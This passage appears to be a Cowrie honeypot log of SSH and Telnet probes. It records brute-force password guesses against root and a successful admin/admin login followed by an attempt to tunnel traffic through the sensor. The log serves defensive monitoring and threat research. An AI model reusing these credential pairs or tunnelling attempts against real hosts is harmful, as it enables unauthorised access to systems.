{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:19:48.391928Z","src_ip":"87.251.79.125","session":"2dd934f12d9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fortuna","message":"login attempt [root/fortuna] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:19:48.612938Z","src_ip":"87.251.79.125","session":"2dd934f12d9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:19:49.689552Z","src_ip":"87.251.79.125","session":"2dd934f12d9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45546,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa880557a2ca","protocol":"telnet","message":"New connection: 152.42.224.71:45546 (10.17.0.5:23) [session: fa880557a2ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:20:08.895446Z"}
{"eventid":"cowrie.session.closed","duration":45.42018961906433,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:20:11.030382Z","src_ip":"152.42.224.71","session":"5b7104e329c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":57766,"dst_ip":"159.203.135.109","dst_port":22,"session":"2475b18e97e5","protocol":"ssh","message":"New connection: 103.15.222.183:57766 (159.203.135.109:22) [session: 2475b18e97e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:20:20.511106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:20:20.516410Z","src_ip":"103.15.222.183","session":"2475b18e97e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:20:20.768897Z","src_ip":"103.15.222.183","session":"2475b18e97e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"xbox360","message":"login attempt [root/xbox360] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:20:21.524676Z","src_ip":"103.15.222.183","session":"2475b18e97e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:20:22.778945Z","src_ip":"103.15.222.183","session":"2475b18e97e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.201.119.126","src_port":10642,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e6636daaae5","protocol":"telnet","message":"New connection: 128.201.119.126:10642 (159.203.135.109:23) [session: 1e6636daaae5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:20:25.797969Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60264,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0866bdb0181","protocol":"telnet","message":"New connection: 152.42.224.71:60264 (10.17.0.5:23) [session: f0866bdb0181]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:20:26.683264Z"}
{"eventid":"cowrie.session.closed","duration":13.158808946609497,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:20:38.956648Z","src_ip":"128.201.119.126","session":"1e6636daaae5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.79442310333252,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:20:54.689759Z","src_ip":"152.42.224.71","session":"fa880557a2ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57480,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a1e9914db35","protocol":"telnet","message":"New connection: 152.42.224.71:57480 (10.17.0.5:23) [session: 5a1e9914db35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:21:02.079922Z"}
{"eventid":"cowrie.session.closed","duration":20.280787467956543,"message":"Connection lost after 20 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:21:22.360576Z","src_ip":"152.42.224.71","session":"5a1e9914db35","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":51208,"dst_ip":"10.17.0.5","dst_port":22,"session":"864cc3240a70","protocol":"ssh","message":"New connection: 80.66.85.226:51208 (10.17.0.5:22) [session: 864cc3240a70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:21:33.732230Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:21:33.736131Z","src_ip":"80.66.85.226","session":"864cc3240a70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:21:33.828133Z","src_ip":"80.66.85.226","session":"864cc3240a70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"azamat","message":"login attempt [root/azamat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:21:34.162294Z","src_ip":"80.66.85.226","session":"864cc3240a70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:21:35.258122Z","src_ip":"80.66.85.226","session":"864cc3240a70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":75.92224931716919,"message":"Connection lost after 75 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:21:42.605395Z","src_ip":"152.42.224.71","session":"f0866bdb0181","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45542,"dst_ip":"10.17.0.5","dst_port":23,"session":"0543fb842280","protocol":"telnet","message":"New connection: 152.42.224.71:45542 (10.17.0.5:23) [session: 0543fb842280]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:21:44.140008Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45548,"dst_ip":"10.17.0.5","dst_port":23,"session":"507e27b654c1","protocol":"telnet","message":"New connection: 152.42.224.71:45548 (10.17.0.5:23) [session: 507e27b654c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:21:44.346987Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42284,"dst_ip":"10.17.0.5","dst_port":23,"session":"033ce57106e1","protocol":"telnet","message":"New connection: 152.42.224.71:42284 (10.17.0.5:23) [session: 033ce57106e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:21:50.680512Z"}
{"eventid":"cowrie.session.closed","duration":28.380638599395752,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:22:19.061008Z","src_ip":"152.42.224.71","session":"033ce57106e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":24614,"dst_ip":"159.203.135.109","dst_port":22,"session":"a87559134d61","protocol":"ssh","message":"New connection: 194.59.206.2:24614 (159.203.135.109:22) [session: a87559134d61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:22:22.041185Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:22:22.045925Z","src_ip":"194.59.206.2","session":"a87559134d61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:22:22.133063Z","src_ip":"194.59.206.2","session":"a87559134d61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:22:22.267404Z","src_ip":"194.59.206.2","session":"a87559134d61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.819252252578735,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:22:24.959121Z","src_ip":"152.42.224.71","session":"0543fb842280","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38536,"dst_ip":"10.17.0.5","dst_port":23,"session":"11367d48bbfc","protocol":"telnet","message":"New connection: 152.42.224.71:38536 (10.17.0.5:23) [session: 11367d48bbfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:22:29.789248Z"}
{"eventid":"cowrie.session.closed","duration":48.67171788215637,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:22:33.018578Z","src_ip":"152.42.224.71","session":"507e27b654c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40124,"dst_ip":"10.17.0.5","dst_port":23,"session":"15b83c0aa657","protocol":"telnet","message":"New connection: 152.42.224.71:40124 (10.17.0.5:23) [session: 15b83c0aa657]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:22:49.132603Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":63178,"dst_ip":"10.17.0.5","dst_port":22,"session":"16bef90f1c9b","protocol":"ssh","message":"New connection: 87.251.64.176:63178 (10.17.0.5:22) [session: 16bef90f1c9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:22:53.732760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:22:53.737872Z","src_ip":"87.251.64.176","session":"16bef90f1c9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:22:53.836471Z","src_ip":"87.251.64.176","session":"16bef90f1c9b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:22:54.127414Z","src_ip":"87.251.64.176","session":"16bef90f1c9b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:22:54.227139Z","session":"16bef90f1c9b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:22:54.325488Z","src_ip":"87.251.64.176","session":"16bef90f1c9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:22:54.425165Z","src_ip":"87.251.64.176","session":"16bef90f1c9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45120,"dst_ip":"10.17.0.5","dst_port":23,"session":"56b1ddf4e959","protocol":"telnet","message":"New connection: 152.42.224.71:45120 (10.17.0.5:23) [session: 56b1ddf4e959]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:23:05.892769Z"}
{"eventid":"cowrie.session.closed","duration":52.87358570098877,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:23:22.662699Z","src_ip":"152.42.224.71","session":"11367d48bbfc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.595643520355225,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:23:28.728130Z","src_ip":"152.42.224.71","session":"15b83c0aa657","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47464,"dst_ip":"10.17.0.5","dst_port":23,"session":"1dceb05420d7","protocol":"telnet","message":"New connection: 152.42.224.71:47464 (10.17.0.5:23) [session: 1dceb05420d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:23:44.776875Z"}
{"eventid":"cowrie.session.closed","duration":43.66832780838013,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:23:49.560968Z","src_ip":"152.42.224.71","session":"56b1ddf4e959","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":61719,"dst_ip":"10.17.0.5","dst_port":22,"session":"d3497c0e0bbf","protocol":"ssh","message":"New connection: 152.42.212.128:61719 (10.17.0.5:22) [session: d3497c0e0bbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:23:54.318176Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:23:54.324455Z","src_ip":"152.42.212.128","session":"d3497c0e0bbf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:23:54.329037Z","src_ip":"152.42.212.128","session":"d3497c0e0bbf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43216,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e3d349fa684","protocol":"telnet","message":"New connection: 152.42.224.71:43216 (10.17.0.5:23) [session: 9e3d349fa684]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:23:59.703160Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.42.205.100","src_port":47090,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ec6cd20cc7e","protocol":"ssh","message":"New connection: 194.42.205.100:47090 (10.17.0.5:22) [session: 9ec6cd20cc7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:24:09.926999Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:24:09.932858Z","src_ip":"194.42.205.100","session":"9ec6cd20cc7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchan